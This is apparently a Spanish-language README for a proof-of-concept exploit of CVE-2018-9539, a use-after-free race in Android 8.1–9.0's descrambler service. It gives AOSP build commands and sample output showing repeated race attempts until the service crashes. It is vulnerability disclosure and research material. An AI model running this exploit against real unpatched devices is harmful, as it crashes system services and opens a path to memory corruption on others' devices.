
Código PoC para CVE-2018-9539
Código de prueba de concepto para CVE-2018-9539
Si tienes alguna pregunta, no dudes en enviarme un mensaje directo en Twitter (@tamir_zb).
Para compilar esto:
AOSP/external.cd AOSP
source build/envsetup.sh
make cas_race_uaf
Ejecutar este PoC contra una versión sin parchear de Android (8.1-9.0 anterior a noviembre de 2018) debería resultar en un use-after-free. Ten en cuenta que este PoC no está realmente pensado para ejecutarse en Android 8.1, ya que espera que el UaF haga caer el servicio, lo cual solo ocurre en Android 9.0, por lo que ejecutar este PoC en Android 8.1 resultará en un bucle infinito.
Aquí hay un ejemplo de salida al ejecutar este PoC en Android 9.0:
Objects prepared
Attempt #1:
Sessions prepared
Descrambler session set to session1
Threads prepared
Running threads...
Descrambler session set to session2
Thread #0 result: session2
Thread #1 result: session2
Thread #2 result: session2
Thread #3 result: session2
Thread #4 result: session2
Attempt #1 failed, retrying...
Attempt #2:
Sessions prepared
Descrambler session set to session1
Threads prepared
Running threads...
Descrambler session set to session2
Thread #0 result: session2
Thread #1 result: session2
Thread #2 result: session2
Thread #3 result: session2
Thread #4 result: session2
Attempt #2 failed, retrying...
...
...
...
Attempt #204:
Sessions prepared
Descrambler session set to session1
Threads prepared
Running threads...
Descrambler session set to session2
Thread #0 result: session2
Thread #1 result: session2
Thread #2 result: session2
Thread #3 result: session2
Thread #4 result: session2
Attempt #204 failed, retrying...
Attempt #205:
Sessions prepared
Descrambler session set to session1
Threads prepared
Running threads...
Descrambler session set to session2
Thread #0 result: session1
Thread #1 result: session2
Thread #2 result: session2
Thread #3 result: CRASHED :)
Succeeded in 205 attempts